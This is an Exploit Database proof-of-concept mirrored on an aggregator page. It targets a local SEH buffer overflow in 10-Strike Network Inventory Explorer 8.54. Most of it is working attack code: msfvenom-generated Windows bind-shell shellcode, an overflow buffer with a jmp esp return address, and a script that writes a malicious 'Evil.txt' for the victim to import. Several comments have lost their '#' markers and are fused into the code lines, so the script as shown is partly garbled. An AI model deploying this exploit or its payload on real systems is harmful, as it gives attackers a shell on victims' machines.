10-Strike Network Inventory Explorer 8.54 – Local Buffer Overflow (SEH)

Exploit Database
111 阅读

作者： Hashim Jawad

日期： 2018-06-05
类别：
- local
平台：
- windows_x86
来源：https://www.exploit-db.com/exploits/44838/

# Exploit Title: 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)

# Exploit Author : Hashim Jawad - ihack4falafel

# Vendor Homepage: https://www.10-strike.com/

# Vulnerable Software: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe

# Tested on: Windows 7 Enterprise - SP1 (x86)

# Disclosure Timeline:

# 06-02-18: Contacted vendor, no response

# 06-03-18: Contacted vendor, no response

# 06-04-18: Contacted vendor, no response

# 06-05-18: Proof of concept exploit published

# Steps to reproduce:

# - Under Computers tab click on 'From Text File'

# - Open Evil.txt and boom!

# Notes:

# - The following modules have no protection making the exploit universal: [sqlite3.dll, ssleay32.dll, MSVCR71.dll]

# - Next SEH offset is 211 bytes but for some reason passing the exception to the program will result in shifting

# the stack by 8 bytes, see buffer for reference.

# - Keep in mind the exploit is contingent on path, and as such you need to make sure offsets stay intact based on

# your username, the following is the path used while developing the exploit (default on Windows 7):

# [C:\Users\IEUser\AppData\Roaming\10-strike\Network Inventory\cfg\]

# - Pro edition is effected as well.

#root@kali:~# msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x3a\x5c' -f python -v shellcode

#Payload size: 355 bytes

#!/usr/bin/python

shellcode =""

shellcode += "\xba\x58\x39\xb1\xae\xd9\xcf\xd9\x74\x24\xf4\x5f"

shellcode += "\x29\xc9\xb1\x53\x83\xef\xfc\x31\x57\x0e\x03\x0f"

shellcode += "\x37\x53\x5b\x53\xaf\x11\xa4\xab\x30\x76\x2c\x4e"

shellcode += "\x01\xb6\x4a\x1b\x32\x06\x18\x49\xbf\xed\x4c\x79"

shellcode += "\x34\x83\x58\x8e\xfd\x2e\xbf\xa1\xfe\x03\x83\xa0"

shellcode += "\x7c\x5e\xd0\x02\xbc\x91\x25\x43\xf9\xcc\xc4\x11"

shellcode += "\x52\x9a\x7b\x85\xd7\xd6\x47\x2e\xab\xf7\xcf\xd3"

shellcode += "\x7c\xf9\xfe\x42\xf6\xa0\x20\x65\xdb\xd8\x68\x7d"

shellcode += "\x38\xe4\x23\xf6\x8a\x92\xb5\xde\xc2\x5b\x19\x1f"

shellcode += "\xeb\xa9\x63\x58\xcc\x51\x16\x90\x2e\xef\x21\x67"

shellcode += "\x4c\x2b\xa7\x73\xf6\xb8\x1f\x5f\x06\x6c\xf9\x14"

shellcode += "\x04\xd9\x8d\x72\x09\xdc\x42\x09\x35\x55\x65\xdd"

shellcode += "\xbf\x2d\x42\xf9\xe4\xf6\xeb\x58\x41\x58\x13\xba"

shellcode += "\x2a\x05\xb1\xb1\xc7\x52\xc8\x98\x8f\x97\xe1\x22"

shellcode += "\x50\xb0\x72\x51\x62\x1f\x29\xfd\xce\xe8\xf7\xfa"

shellcode += "\x31\xc3\x40\x94\xcf\xec\xb0\xbd\x0b\xb8\xe0\xd5"

shellcode += "\xba\xc1\x6a\x25\x42\x14\x06\x2d\xe5\xc7\x35\xd0"

shellcode += "\x55\xb8\xf9\x7a\x3e\xd2\xf5\xa5\x5e\xdd\xdf\xce"

shellcode += "\xf7\x20\xe0\xe1\x5b\xac\x06\x6b\x74\xf8\x91\x03"

shellcode += "\xb6\xdf\x29\xb4\xc9\x35\x02\x52\x81\x5f\x95\x5d"

shellcode += "\x12\x4a\xb1\xc9\x99\x99\x05\xe8\x9d\xb7\x2d\x7d"

shellcode += "\x09\x4d\xbc\xcc\xab\x52\x95\xa6\x48\xc0\x72\x36"

shellcode += "\x06\xf9\x2c\x61\x4f\xcf\x24\xe7\x7d\x76\x9f\x15"

shellcode += "\x7c\xee\xd8\x9d\x5b\xd3\xe7\x1c\x29\x6f\xcc\x0e"

shellcode += "\xf7\x70\x48\x7a\xa7\x26\x06\xd4\x01\x91\xe8\x8e"

shellcode += "\xdb\x4e\xa3\x46\x9d\xbc\x74\x10\xa2\xe8\x02\xfc"

shellcode += "\x13\x45\x53\x03\x9b\x01\x53\x7c\xc1\xb1\x9c\x57"

shellcode += "\x41\xc1\xd6\xf5\xe0\x4a\xbf\x6c\xb1\x16\x40\x5b"

shellcode += "\xf6\x2e\xc3\x69\x87\xd4\xdb\x18\x82\x91\x5b\xf1"

shellcode += "\xfe\x8a\x09\xf5\xad\xab\x1b"

buffer= '\x41' * 207 filler to nSEH offset (211-4)

buffer += '\x9f\x4e\xe9\x61' 0x61E94E9F [sqlite3.dll] | jmp esp

buffer += '\x90\x90\x90\x90' nSEH

buffer += '\x90\x90\x90\x90' SEH

buffer += shellcodebind shell

buffer += '\xcc' * (3000-207-12-len(shellcode))junk

try:

f=open("Evil.txt","w")

print "[+] Creating %s bytes evil payload.." %len(buffer)

f.write(buffer)

f.close()

print "[+] File created!"

except Exception as e:

print e